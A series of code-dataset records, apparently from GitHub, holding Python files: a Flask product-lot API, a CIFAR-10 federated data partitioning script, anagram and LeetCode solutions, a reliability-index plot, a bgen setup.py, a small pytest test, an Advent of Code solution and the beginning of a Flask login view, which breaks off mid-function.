Manufacturerlot.ManufacturerLotPK == Lot.ManufacturerLotPK,\n isouter=True\n ).join(\n Trademark, Trademark.TrademarkPK == Lot.TradeMarkPK,\n isouter=True\n ).filter(\n *filters\n ).order_by(\n Lot.lot_date\n )\n\n total = product_qry.count()\n\n product_data = product_qry.offset(offset).limit(limit)\n\n rows = []\n\n for row in product_data:\n rows.append({\n 'lot_id': row.lot_id,\n 'lot_name': row.lot_name,\n 'lot_date':\n row.lot_date.strftime(\"%d-%m-%Y\") if row.lot_date else None,\n 'seller_id': row.seller_id,\n 'seller_name': row.seller_name,\n 'manufacturer_id': row.manufacturer_id,\n 'manufacturer_name': row.manufacturer_name,\n 'manufacturer_lot_id': row.manufacturer_lot_id,\n 'manufacturer_lot_name': row.manufacturer_lot_name,\n 'trademark_id': row.trademark_id,\n 'trademark_name': row.trademark_name,\n })\n\n response = {\n 'header': header,\n 'rows': rows,\n 'total': total\n }\n return jsonify(response)\n\n\n@bp.route(\"/api/v1/products_trademarks/\", methods=['GET'])\ndef product_trademark_detail(product_id):\n\n page = request.args.get('_page', type=int)\n limit = request.args.get('_limit', type=int)\n\n offset = page * limit\n\n product = db.session.query(Product).filter(\n Product.ProductId == product_id).one_or_none()\n\n header = {\n 'product_id': product_id,\n 'product_name': product.ProductName if product else 'Нет данных'\n }\n\n product_sbqry = db.session.query(\n Weighting.WeightingsPK.label('weightink_pk'),\n Batch.BatchName.label('batch_name'),\n Batch.BatchPK.label('batch_id'),\n Batch.BatchDate.label('batch_date'),\n Batch.Plant.label('plant'),\n Batch.batch_year.label('year'),\n Batch.batch_month.label('month'),\n Batch.batch_number.label('number'),\n Lot.LotPK.label('lot_id'),\n Lot.LotName.label('lot_name'),\n Product.ProductMarking.label('product_name'),\n Trademark.TrademarkPK.label('trademark_id'),\n Trademark.TrademarkName.label('trademark_name')\n ).join(\n Batch, Weighting.BatchPK == Batch.BatchPK, isouter=True\n ).join(\n Lot, Weighting.LotPK == Lot.LotPK, isouter=True\n ).join(\n Btproduct, Batch.BatchPK == Btproduct.BatchPK, isouter=True\n ).join(\n Product, Btproduct.ProductId == Product.ProductId, isouter=True\n ).join(\n Trademark, Lot.TradeMarkPK == Trademark.TrademarkPK, isouter=True\n ).filter(\n Weighting.ProductId == product_id\n ).subquery()\n\n product_qry = db.session.query(\n product_sbqry.c.batch_id.label('batch_id'),\n product_sbqry.c.batch_name.label('batch_name'),\n product_sbqry.c.plant.label('plant'),\n product_sbqry.c.batch_date.label('batch_date'),\n product_sbqry.c.product_name.label('product_name'),\n product_sbqry.c.trademark_id.label('trademark_id'),\n product_sbqry.c.trademark_name.label('trademark_name'),\n product_sbqry.c.lot_id.label('lot_id'),\n product_sbqry.c.lot_name.label('lot_name'),\n product_sbqry.c.year.label('year'),\n product_sbqry.c.month.label('month'),\n product_sbqry.c.number.label('number')\n ).distinct(\n product_sbqry.c.batch_id,\n product_sbqry.c.batch_name,\n product_sbqry.c.lot_id,\n product_sbqry.c.lot_name,\n ).order_by(\n product_sbqry.c.year,\n product_sbqry.c.month,\n product_sbqry.c.number\n )\n\n total = product_qry.count()\n\n product_qry_rows = product_qry.offset(offset).limit(limit)\n\n product_trademark_rows = []\n\n for row in product_qry_rows:\n product_trademark_rows.append({\n 'boil_id': row.batch_id,\n 'boil_name': row.batch_name,\n 'boil_date':\n row.batch_date.strftime(\n \"%d-%m-%Y\") if row.batch_date else None,\n 'plant':\n plant_dict[row.plant] if row.plant else 'Нет данных',\n 'lot_id': row.lot_id,\n 'lot_name': row.lot_name,\n 'product_name': row.product_name,\n 'trademark_id': row.trademark_id,\n 'trademark_name': row.trademark_name\n })\n\n response = {\n 'header': header,\n 'rows': product_trademark_rows,\n 'total': total\n }\n return jsonify(response)\n","repo_name":"ShavedHedgehoc/Trace","sub_path":"api/app/api/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":8373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8460716414","text":"from tqdm import trange\nimport numpy as np\nimport random\nimport json\nimport os\nimport argparse\nfrom torchvision.datasets import CIFAR10\nimport torch\nfrom torch.utils.data import DataLoader\nimport torchvision.transforms as transforms\nimport copy\n# from data.Mnist.multi_mnist_loader import MNIST\n\n### transformer 用于get_dataset中的transform ###\nclass TransformsSimCLR:\n \"\"\"\n 一种随机数据扩充模块,它对任意给定的数据实例进行随机转换,\n 得到同一实例的两个相关视图,\n 记为x̃i和x̃j,我们认为这是一个正对。\n \"\"\"\n\n def __init__(self, size, train=True):\n \"\"\"\n :param size:图片尺寸\n \"\"\"\n s = 1\n color_jitter = torchvision.transforms.ColorJitter(\n 0.8 * s, 0.8 * s, 0.8 * s, 0.2 * s\n )\n self.train_transform = torchvision.transforms.Compose(\n [\n torchvision.transforms.RandomResizedCrop(size=size),\n torchvision.transforms.RandomHorizontalFlip(), # with 0.5 probability\n torchvision.transforms.RandomApply([color_jitter], p=0.8),\n torchvision.transforms.RandomGrayscale(p=0.2),\n torchvision.transforms.ToTensor(),\n ]\n )\n\n self.test_transform = torchvision.transforms.Compose(\n [\n torchvision.transforms.Resize(size=size),\n torchvision.transforms.ToTensor(),\n ]\n )\n self.train = train\n\n def __call__(self, x):\n \"\"\"\n :param x: 图片\n :return: x̃i和x̃j\n \"\"\"\n\n if self.train:\n return self.train_transform(x), self.train_transform(x)\n else:\n return self.test_transform(x)\n### transformer end ###\n\n\nrandom.seed(42)\nnp.random.seed(42)\n\ndef rearrange_data_by_class(data1, data2, targets, n_class):\n new_data = []\n for i in trange(n_class):\n # idx = targets[0] == i\n idx = targets == i\n new_data1.append(data1[idx])\n new_data2.append(data2[idx])\n return new_data1, new_data2\n\ndef get_dataset(mode='train'):\n # transform = transforms.Compose(\n # [transforms.ToTensor(), transforms.Normalize((0.5,), (0.5,))])\n\n #transform = transforms.Compose(\n # [transforms.ToTensor(), transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))]) #CIFAR10 原transform\n\n dataset = CIFAR10(root='./data', train=True if mode=='train' else False, download=True, transform=TransformsSimCLR(size=56)) #size为可调参数\n \n # dataset = MNIST(root='.', train=True, download=True, transform=transform, multi=True)\n n_sample = len(dataset.data)\n # print('n_sample:', n_sample)\n # SRC_N_CLASS = 10\n SRC_N_CLASS = len(dataset.classes)\n # full batch\n trainloader = DataLoader(dataset, batch_size=n_sample, shuffle=False)\n\n dataset_data1 = copy.deepcopy(dataset.data)\n dataset_data2 = copy.deepcopy(dataset.data)\n\n print(\"Loading data from storage ...\")\n for xy in trainloader:\n dataset_data1, dataset_data2, dataset.targets = xy\n # mdata, target, targets = xy\n\n\n print(\"Rearrange data by class...\")\n data_by_class1, data_by_class2 = rearrange_data_by_class(\n dataset_data1.cpu().detach().numpy(),\n dataset_data2.cpu().detach().numpy(),\n dataset.targets.cpu().detach().numpy(),\n SRC_N_CLASS\n )\n print(f\"{mode.upper()} SET:\\n Total #samples: {n_sample}. sample shape: {dataset_data1[0].shape}\")\n print(\" #samples per class:\\n\", [len(v) for v in data_by_class1])\n\n return data_by_class1, data_by_class2, n_sample, SRC_N_CLASS\n\ndef sample_class(SRC_N_CLASS, NUM_LABELS, user_id, label_random=False):\n assert NUM_LABELS <= SRC_N_CLASS\n if label_random:\n source_classes = [n for n in range(SRC_N_CLASS)]\n random.shuffle(source_classes)\n return source_classes[:NUM_LABELS]\n else:\n return [(user_id + j) % SRC_N_CLASS for j in range(NUM_LABELS)]\n\n\n# each client contains two class\ndef divide_train_data(data1, data2, n_sample, SRC_CLASSES, NUM_USERS, min_sample, class_per_client=2):\n min_sample = 10#len(SRC_CLASSES) * min_sample\n min_size = 0 # track minimal samples per user\n ###### Determine Sampling #######\n while min_size < min_sample:\n # print(\"Try to find valid data separation\")\n idx_batch=[{} for _ in range(NUM_USERS)]\n for u in range(NUM_USERS):\n for l in range(len(SRC_CLASSES)):\n idx_batch[u][l] = []\n samples_per_user = [0 for _ in range(NUM_USERS)]\n max_samples_per_user = n_sample / NUM_USERS # 60000/20 = 3000\n class_num_client = [class_per_client for _ in range(NUM_USERS)]\n for l in range(len(SRC_CLASSES)):\n selected_clients = [] #\n for client in range(NUM_USERS):\n if class_num_client[client] > 0:\n selected_clients.append(client)\n selected_clients = selected_clients[:int(NUM_USERS / len(SRC_CLASSES) * class_per_client)]\n\n num_all = len(data1[l])\n num_clients_ = int(NUM_USERS/len(SRC_CLASSES)*class_per_client)\n num_per = num_all / num_clients_\n num_samples = np.random.randint(max(num_per/10, 16), num_per, num_clients_-1).tolist()\n num_samples.append(num_all - sum(num_samples))\n\n if True:\n # each client is not sure to have all the labels\n selected_clients = list(np.random.choice(selected_clients, num_clients_, replace=False))\n\n idx = 0\n # get indices for all that label\n idx_l = [i for i in range(len(data1[l]))]\n np.random.shuffle(idx_l)\n for client, num_sample in zip(selected_clients, num_samples):\n idx_batch[client][l] = np.random.choice(idx_l, num_sample)\n samples_per_user[client] += len(idx_batch[client][l])\n idx += num_sample\n class_num_client[client] -= 1\n\n # samples_for_l = int(np.random.randint(max_samples_per_user, int(len(data[l]))))\n # idx_l = idx_l[:samples_for_l]\n # # participate data of that label\n # # for u, new_idx in enumerate(np.split(idx_l, proportions)):\n # # # add new idex to the user\n # # idx_batch[u][l] = new_idx.tolist()\n # # samples_per_user[u] += len(idx_batch[u][l])\n min_size = min(samples_per_user)\n\n ###### CREATE USER DATA SPLIT #######\n X1 = [[] for _ in range(NUM_USERS)]\n X2 = [[] for _ in range(NUM_USERS)]\n y = [[] for _ in range(NUM_USERS)]\n Labels=[set() for _ in range(NUM_USERS)]\n print(\"processing users...\")\n for u, user_idx_batch in enumerate(idx_batch):\n for l, indices in user_idx_batch.items():\n if len(indices) == 0: continue\n X1[u] += data1[l][indices].tolist()\n X2[u] += data2[l][indices].tolist()\n y[u] += (l * np.ones(len(indices))).tolist()\n Labels[u].add(l)\n\n return X1, X2, y, Labels, idx_batch, samples_per_user\n\ndef divide_test_data(NUM_USERS, SRC_CLASSES, test_data1, test_data2, Labels, unknown_test):\n # Create TEST data for each user.\n test_X1 = [[] for _ in range(NUM_USERS)]\n test_X2 = [[] for _ in range(NUM_USERS)] \n test_y = [[] for _ in range(NUM_USERS)]\n idx = {l: 0 for l in SRC_CLASSES}\n for user in trange(NUM_USERS):\n if unknown_test: # use all available labels\n user_sampled_labels = SRC_CLASSES\n else:\n user_sampled_labels = list(Labels[user])\n for l in user_sampled_labels:\n num_samples = int(len(test_data[l]) / NUM_USERS )\n assert num_samples + idx[l] <= len(test_data[l])\n test_X1[user] += test_data[l][idx[l]:idx[l] + num_samples].tolist()\n test_X2[user] += test_data[l][idx[l]:idx[l] + num_samples].tolist()\n test_y[user] += (l * np.ones(num_samples)).tolist()\n assert len(test_X1[user]) == len(test_y[user]), f\"{len(test_X1[user])} == {len(test_y[user])}\"\n idx[l] += num_samples\n return test_X1, test_X2, test_y\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--format\", \"-f\", type=str, default=\"pt\", help=\"Format of saving: pt (torch.save), json\", choices=[\"pt\", \"json\"])\n parser.add_argument(\"--n_class\", type=int, default=10, help=\"number of classification labels\")\n parser.add_argument(\"--class_per_client\", type=int, default=2, help=\"number of classes for each client\")\n parser.add_argument(\"--min_sample\", type=int, default=10, help=\"Min number of samples per user.\")\n # parser.add_argument(\"--sampling_ratio\", type=float, default=0.1, help=\"Ratio for sampling training samples.\")\n parser.add_argument(\"--unknown_test\", type=int, default=0, help=\"Whether allow test label unseen for each user.\")\n # parser.add_argument(\"--alpha\", type=float, default=0.1, help=\"alpha in Dirichelt distribution (smaller means larger heterogeneity)\")\n parser.add_argument(\"--n_user\", type=int, default=20,\n help=\"number of local clients, should be muitiple of 10.\")\n args = parser.parse_args()\n print()\n print(\"Number of users: {}\".format(args.n_user))\n print(\"Number of classes: {}\".format(args.n_class))\n print(\"Min # of samples per uesr: {}\".format(args.min_sample))\n # print(\"Alpha for Dirichlet Distribution: {}\".format(args.alpha))\n # print(\"Ratio for Sampling Training Data: {}\".format(args.sampling_ratio))\n NUM_USERS = args.n_user\n\n # Setup directory for train/test data\n path_prefix = f'u{args.n_user}c{args.n_class}-class{args.class_per_client}'\n\n def process_user_data(mode, data1, data2, n_sample, SRC_CLASSES, Labels=None, unknown_test=0):\n if mode == 'train':\n X1, X2, y, Labels, idx_batch, samples_per_user = divide_train_data(\n data1, data2, n_sample, SRC_CLASSES, NUM_USERS, args.min_sample, args.class_per_client)\n if mode == 'test':\n assert Labels != None or unknown_test\n X1, X2, y = divide_test_data(NUM_USERS, SRC_CLASSES, data1, data2, Labels, unknown_test)\n dataset={'users': [], 'user_data': {}, 'num_samples': []}\n for i in range(NUM_USERS):\n uname='f_{0:05d}'.format(i)\n dataset['users'].append(uname)\n\n dataset['user_data'][uname] = {\n 'x1': torch.tensor(X1[i], dtype=torch.float32),\n 'x2': torch.tensor(X2[i], dtype=torch.float32),\n 'y': torch.tensor(y[i], dtype=torch.int64)}\n dataset['num_samples'].append(len(X1[i]))\n\n print(\"{} #sample by user:\".format(mode.upper()), dataset['num_samples'])\n\n data_path=f'./{path_prefix}/{mode}'\n if not os.path.exists(data_path):\n os.makedirs(data_path)\n\n data_path=os.path.join(data_path, \"{}.\".format(mode) + args.format)\n if args.format == \"json\":\n raise NotImplementedError(\n \"json is not supported because the train_data/test_data uses the tensor instead of list and tensor cannot be saved into json.\")\n with open(data_path, 'w') as outfile:\n print(f\"Dumping train data => {data_path}\")\n json.dump(dataset, outfile)\n elif args.format == \"pt\":\n with open(data_path, 'wb') as outfile:\n print(f\"Dumping train data => {data_path}\")\n torch.save(dataset, outfile)\n if mode == 'train':\n for u in range(NUM_USERS):\n print(\"{} samples in total\".format(samples_per_user[u]))\n train_info = ''\n # train_idx_batch, train_samples_per_user\n n_samples_for_u = 0\n for l in sorted(list(Labels[u])):\n n_samples_for_l = len(idx_batch[u][l])\n n_samples_for_u += n_samples_for_l\n train_info += \"c={},n={}| \".format(l, n_samples_for_l)\n print(train_info)\n print(\"{} Labels/ {} Number of training samples for user [{}]:\".format(len(Labels[u]), n_samples_for_u, u))\n return Labels, idx_batch, samples_per_user\n\n\n print(f\"Reading source dataset.\")\n train_data1, train_data2, n_train_sample, SRC_N_CLASS = get_dataset(mode='train')\n test_data1, test_data2, n_test_sample, SRC_N_CLASS = get_dataset(mode='test')\n SRC_CLASSES=[l for l in range(SRC_N_CLASS)]\n # random.shuffle(SRC_CLASSES)\n print(\"{} labels in total.\".format(len(SRC_CLASSES)))\n Labels, idx_batch, samples_per_user = process_user_data('train', train_data1, train_data2, n_train_sample, SRC_CLASSES)\n process_user_data('test', test_data1, test_data2, n_test_sample, SRC_CLASSES, Labels=Labels, unknown_test=args.unknown_test)\n print(\"Finish Generating User samples\")\n\n for client in range(NUM_USERS):\n print(f\"Client {client}\\t Size of data: {samples_per_user[client]}\\t Labels: \", np.unique(Labels[client]))\n print(f\"\\t\\t Samples of labels: \", [len(idx_batch[client][i]) for i in idx_batch[client]])\n print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n main()","repo_name":"wanglikuan/0708_byol2","sub_path":"BYOL-2/0709download-old-code/generate_niid_class.py","file_name":"generate_niid_class.py","file_ext":"py","file_size_in_byte":13178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"24014433667","text":"##soln 1\r\n\r\n# def anagrams(s1,s2):\r\n# \ts1=s1.replace(' ','').lower()\r\n# \ts2=s2.replace(' ','').lower()\r\n# \treturn sorted(s1)==sorted(s2)\r\n\r\n# print(anagrams('god','dog'))\r\n\r\n##soln 2\r\ndef anagrams(s1,s2):\r\n\ts1=s1.replace(' ','').lower()\r\n\ts2=s2.replace(' ','').lower()\r\n\tif len(s1)!=len(s2):\r\n\t\treturn False\r\n\telse:\r\n\t\tcount={}\r\n\t\tfor i in s1:\r\n\t\t\tif i in count:\r\n\t\t\t\tcount[i]+=1\r\n\t\t\telse:\r\n\t\t\t\tcount[i]=1\r\n\t\tfor i in s2:\r\n\t\t\tif i in count:\r\n\t\t\t\tcount[i]-=1\r\n\t\t\telse:\r\n\t\t\t\tcount[i]=1\r\n\t\tF=0\r\n\t\tfor i in count:\r\n\t\t\tif count[i]!=0:\r\n\t\t\t\t F=1\r\n\t\tif F!=1:\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\r\n\r\n\t\t\t\r\n\r\nprint(anagrams('dog','god'))\r\n\r\n\r\n","repo_name":"shiyaamsundar/interview_prep-python-","sub_path":"anagrams.py","file_name":"anagrams.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13680013119","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 12 12:43:53 2020\n\n@author: jorgemen\n\"\"\"\n\nimport numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\nimport scipy.stats\n\nfontsizes=18\nplt.rcParams.update({'font.size': fontsizes})\nplt.rcParams.update({\"font.family\": \"serif\"})\nplt.rcParams.update({\"mathtext.fontset\" : \"cm\"})\nplt.rcParams.update({'font.serif': 'Times New Roman'})\nplt.close('all')\n\n\n#==============================================================================\n# INPUT\n#==============================================================================\n# Geometry \nl = 4e3 # [mm] \nW = 1.5e6 # [mm^3] \n\n# Material resistance\nmu_Fm = 167 # [N/mm^2] \nsigma_Fm = 20 # [N/mm^2] \n\n# Loads\nmu_P1 = 10e3 # [N] \nsigma_P1 = 3e3 # [N] \n\nmu_P2 = 10e3 # [N] \nsigma_P2 = 3e3 # [N] \n\n#==============================================================================\n# Correlated variables\nE = np.array([mu_Fm, mu_P1, mu_P2])\na = np.array([W, -l, -2*l])\nat = np.transpose(a)\n\nrhoV = np.arange(-1, 1, 0.1)\nrhoV[np.abs(rhoV.real) < 1e-15] = 0.0\nbetalist = []\nfor rho in rhoV:\n Cx = np.array([[sigma_Fm**2, 0, 0],\n [0, sigma_P1**2, sigma_P1*sigma_P2*rho],\n [0, sigma_P1*sigma_P2*rho, sigma_P2**2]])\n betalist.append(np.dot(at,E)/np.sqrt(np.dot(np.dot(at,Cx),a)))\n\n# Uncorrelated case\nbeta_rho0 = np.array(betalist)[np.nonzero(rhoV==0.)[0]] # Reliability index\n\nprint(\"Reliability index beta for uncorrelated variables {b:.2f}\\n\".format(b=float(beta_rho0)))\n\n# Plot\nfig, ax = plt.subplots()\nax.plot(rhoV,betalist,'k')\nax.plot(0,beta_rho0,'or')\nax.text(0,beta_rho0,'({r:.0f},{b:.2f})\\n'.format(r=0,b=float(beta_rho0)))\nax.set_xlabel(r'$\\rho$')\nax.set_ylabel(r'$\\beta$')\nax.set_xlim(-1,1)\nplt.tight_layout()\nplt.show()\n\n","repo_name":"jochenkohler/TKT4196_material","sub_path":"import_old_python_codes/Cantilever_with_correlation.py","file_name":"Cantilever_with_correlation.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29920500831","text":"import collections\n\nclass Solution:\n def originalDigits(self, s: str) -> str:\n # building hashmap letter -> its frequency\n count = collections.Counter(s)\n\n # building hashmap digit -> its frequency \n out = {}\n # letter \"z\" is present only in \"zero\"\n out[\"0\"] = count[\"z\"]\n # letter \"w\" is present only in \"two\"\n out[\"2\"] = count[\"w\"]\n # letter \"u\" is present only in \"four\"\n out[\"4\"] = count[\"u\"]\n # letter \"x\" is present only in \"six\"\n out[\"6\"] = count[\"x\"]\n # letter \"g\" is present only in \"eight\"\n out[\"8\"] = count[\"g\"]\n # letter \"h\" is present only in \"three\" and \"eight\"\n out[\"3\"] = count[\"h\"] - out[\"8\"]\n # letter \"f\" is present only in \"five\" and \"four\"\n out[\"5\"] = count[\"f\"] - out[\"4\"]\n # letter \"s\" is present only in \"seven\" and \"six\"\n out[\"7\"] = count[\"s\"] - out[\"6\"]\n # letter \"i\" is present in \"nine\", \"five\", \"six\", and \"eight\"\n out[\"9\"] = count[\"i\"] - out[\"5\"] - out[\"6\"] - out[\"8\"]\n # letter \"n\" is present in \"one\", \"nine\", and \"seven\"\n out[\"1\"] = count[\"n\"] - out[\"7\"] - 2 * out[\"9\"]\n\n # building output string\n output = [key * out[key] for key in sorted(out.keys())]\n return \"\".join(output)\n\n'''\n构造单词和字母的一一映射,实在无法避免的可以先排除掉可能性之一然后继续映射\n\n因此,我们需要寻找一些独特的标志。注意到,所有的偶数都包含一个独特的字母:\n\n“z” 只在 “zero” 中出现。\n“w” 只在 “two” 中出现。\n“u” 只在 “four” 中出现。\n“x” 只在 “six” 中出现。\n“g” 只在 “eight” 中出现。\n因此,从偶数开始是一个很好的思路。\n\n这也是计算 3,5 和 7 的关键,因为有些单词只在一个奇数和一个偶数中出现(而且偶数已经被计算过了):\n\n“h” 只在 “three” 和 “eight” 中出现。\n“f” 只在 “five” 和 “four” 中出现。\n“s” 只在 “seven” 和 “six” 中出现。\n接下来只需要处理 9和 0,思路依然相同。\n\n“i” 在 “nine”,“five”,“six” 和 “eight” 中出现。\n“n” 在 “one”,“seven” 和 “nine” 中出现。\n\n\n'''","repo_name":"ANh0r/LeetCode-Daily","sub_path":"8.12 notinOrdernums.py","file_name":"8.12 notinOrdernums.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"31427917646","text":"\nimport glob\nimport io\nfrom pathlib import Path\nfrom setuptools import setup\nimport sys\nimport platform\n\nfrom distutils.core import Extension\nfrom distutils.ccompiler import new_compiler\nfrom Cython.Build import cythonize\n\nEXTRA_COMPILE_ARGS = ['-std=c++11', '-I/usr/include', '-O2']\nEXTRA_LINK_ARGS = []\nif sys.platform == \"darwin\":\n EXTRA_COMPILE_ARGS += [\n \"-stdlib=libc++\",\n \"-I/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/c++/v1\",\n \"-I/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include\",\n ]\n EXTRA_LINK_ARGS += [\n \"-L/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib\",\n ]\nelif sys.platform == \"win32\":\n EXTRA_COMPILE_ARGS += ['/std:c++14', '/O2']\n\nif platform.machine() == 'x86_64':\n EXTRA_COMPILE_ARGS += ['-mavx', '-mavx2']\n\ndef flatten(*lists):\n return [str(x) for sublist in lists for x in sublist]\n\ndef build_zlib():\n ''' compile zlib code to object files for linking with bgen on windows\n \n Returns:\n list of paths to compiled object code\n '''\n include_dirs = ['src/zlib/']\n sources = list(glob.glob('src/zlib/*.c'))\n extra_compile_args = ['/O2']\n \n cc = new_compiler()\n return cc.compile(sources, include_dirs=include_dirs,\n extra_preargs=extra_compile_args)\n\ndef build_zstd():\n ''' compile zstd code to object files for linking with bgen c++ code\n \n This needs to be compiles independently of the bgen c++ code, as zstd is in\n c, so cannot be compiled directly with the bgen code. zstd is compiled to\n object files, and these are staticly linked in with the bgen code.\n \n I tried to link to a shared/dynamic zstd library, but couldn't specify a\n location that would be found by the compiled bgen library after relocating\n files into to a python package.\n \n Returns:\n list of paths to compiled object code\n '''\n folder = Path('src/zstd/lib')\n include_dirs = ['src/zstd/lib/', 'src/zstd/lib/common']\n sources = flatten(\n (folder / 'common').glob('*.c'),\n (folder / 'compress').glob('*.c'),\n (folder / 'decompress').glob('*.c'),\n (folder / 'dictBuilder').glob('*.c'),\n (folder / 'deprecated').glob('*.c'),\n (folder / 'legacy').glob('*.c'), # TODO: drop some legacy versions\n )\n extra_compile_args = ['-std=gnu11', '-fPIC', '-O2']\n \n cc = new_compiler()\n return cc.compile(sources, include_dirs=include_dirs,\n extra_preargs=extra_compile_args)\n\nif sys.platform == 'win32':\n zlib, libs = build_zlib(), []\nelse:\n zlib, libs = [], ['z']\nzstd = build_zstd()\n\next = cythonize([\n Extension('bgen.reader',\n extra_compile_args=EXTRA_COMPILE_ARGS,\n extra_link_args=EXTRA_LINK_ARGS,\n sources=['src/bgen/reader.pyx',\n 'src/reader.cpp',\n 'src/genotypes.cpp',\n 'src/header.cpp',\n 'src/samples.cpp',\n 'src/utils.cpp',\n 'src/variant.cpp'],\n extra_objects=zstd + zlib,\n include_dirs=['src', 'src/zstd/lib', 'src/zlib'],\n libraries=libs,\n language='c++'),\n Extension('bgen.writer',\n extra_compile_args=EXTRA_COMPILE_ARGS,\n extra_link_args=EXTRA_LINK_ARGS,\n sources=['src/bgen/writer.pyx',\n 'src/writer.cpp',\n 'src/genotypes.cpp',\n 'src/utils.cpp',\n ],\n extra_objects=zstd + zlib,\n include_dirs=['src', 'src/zstd/lib', 'src/zlib'],\n libraries=libs,\n language='c++'),\n ])\n\nsetup(name='bgen',\n description='Package for loading data from bgen files',\n long_description=io.open('README.md', encoding='utf-8').read(),\n long_description_content_type='text/markdown',\n version='1.5.4',\n author='Jeremy McRae',\n author_email='jmcrae@illumina.com',\n license=\"MIT\",\n url='https://github.com/jeremymcrae/bgen',\n packages=['bgen'],\n package_dir={'': 'src'},\n install_requires=[\n 'numpy',\n ],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Topic :: Scientific/Engineering :: Bio-Informatics',\n ],\n ext_modules=ext,\n test_loader='unittest:TestLoader',\n )\n","repo_name":"jeremymcrae/bgen","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"29947640174","text":"from os.path import join\nfrom os import getcwd\nfrom py import path\n\nimport pytest\nimport py\n\nfrom pg_tools.weekly_update import WeeklyUpdate\n\n\ndef test_bob_can_update_from_scratch(tmpdir):\n # Bob wants to setup the weekly update script but gets confused by all\n # of the test helper magic. He wants to update from scratch\n\n current_dir = getcwd()\n source_dir = join(current_dir, 'tests', 'fixtures')\n source = \"basic_list.md\"\n checked_out = tmpdir.join(\"target_checked.md\")\n unchecked_out = tmpdir.join(\"target_unchecked.md\")\n\n assert isinstance(checked_out, py.path.local)\n\n wu = WeeklyUpdate(source_dir, source, checked_out, unchecked_out)\n\n # now he check his output\n assert not wu.checked_target.check(exists=1)\n assert not wu.unchecked_target.check(exists=1)\n wu.wrap_up_week()\n\n # and checks for the new file\n assert wu.checked_target.check(exists=1)\n assert wu.unchecked_target.check(exists=1)\n\n # and that it contains 3 lines\n text = wu.checked_target.read()\n\n lines = text.split(\"\\n\")\n assert len(lines) == 3\n\n # and that the lines contain the correct text\n for line in lines:\n assert line[:5].upper() == \"- [X]\"\n assert line[6:].upper().strip() == \"CHECKED\"\n\n # and that the checked items are removed from the original file\n text = wu.unchecked_target.read()\n\n assert \"Checked\" not in text\n\n # Satisfied she starts writing her blog post about her week\n","repo_name":"jamalhansen/personal-goals","sub_path":"functional/test_bob_does_update_from_scratch.py","file_name":"test_bob_does_update_from_scratch.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8974675883","text":"from typing import Counter\n\n\nwith open('adventofcode2021\\day5\\day5input.txt', 'r') as input:\n lines = input.read().splitlines()\n\n# print(lines)\n\nall_points = []\nfor line in lines:\n point1, point2 = line.split('->')\n x1, y1 = tuple(map(int, point1.split(',')))\n x2, y2 = tuple(map(int, point2.split(',')))\n\n # print(x1, y1, x2, y2)\n\n if(x1 == x2 or y1 == y2):\n for x in range(min(x1, x2), max(x1, x2) + 1):\n for y in range (min(y1, y2), max(y1, y2) + 1):\n all_points.append((x,y))\n\nprint(len([point for point in Counter(all_points).values() if point > 1]))","repo_name":"junefish/adventofcode","sub_path":"adventofcode2021/day5/day5problem2.py","file_name":"day5problem2.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"3790750115","text":"from typing import Optional\nfrom flask import (\n\tFlask,\n\tflash,\n\tredirect,\n\trender_template,\n\trequest,\n\tsession,\n\tsend_file,\n\tabort\n)\nfrom flask.sessions import SessionMixin\nfrom flask_cors import CORS\nimport os\nfrom models import Base, NoteModel, UserModel, engine, db_session\n\napp = Flask(__name__,\n\ttemplate_folder=os.path.join('static', 'html')\n)\nCORS(app)\napp.session = db_session\n#Base.metadata.create_all(bind=engine)\nprint('DB created')\n\nLOGGED_IN_KEY = 'logged_in'\nUSERMODEL_ID_KEY = 'user'\n\ndef logged_in_test(session: SessionMixin) -> bool:\n\treturn LOGGED_IN_KEY in session and session[LOGGED_IN_KEY]\n\n@app.before_first_request\ndef before_first():\n\ttry:\n\t\tBase.metadata.create_all(bind=engine)\n\texcept: # DB already created\n\t\tpass\n\n# return static files\n@app.get('/static//')\ndef get_static_file(dir_name: str, file_name: str):\n\tif ( dir_name in ['html', 'css', 'js'] and\n\t\tfile_name in os.listdir(os.path.join('static', dir_name))) :\n\t\treturn send_file(\n\t\t\tos.path.join(\n\t\t\t\t'static', dir_name, file_name\n\t\t\t)\n\t\t)\n\treturn abort(400)\n\n@app.get('/')\ndef index():\n\treturn redirect('/login')\n\n@app.get('/login')\ndef login():\n\tif logged_in_test(session):\n\t\treturn redirect('/home')\n\n\treturn render_template('login.html')\n\n@app.post('/login')\ndef log_in():\n\tusername = request.form['username']\n\tpassword = request.form['password']\n\n\tuser: Optional[UserModel] = db_session.query(UserModel).filter(UserModel.username == username).first()\n\n\tif not user:\n\t\t# wrong username\n\t\tflash('Wrong username or password!', 'info')\n\telse:\n\t\tuser: UserModel\n\t\tif not user.checkpwd(password):\n\t\t\t# 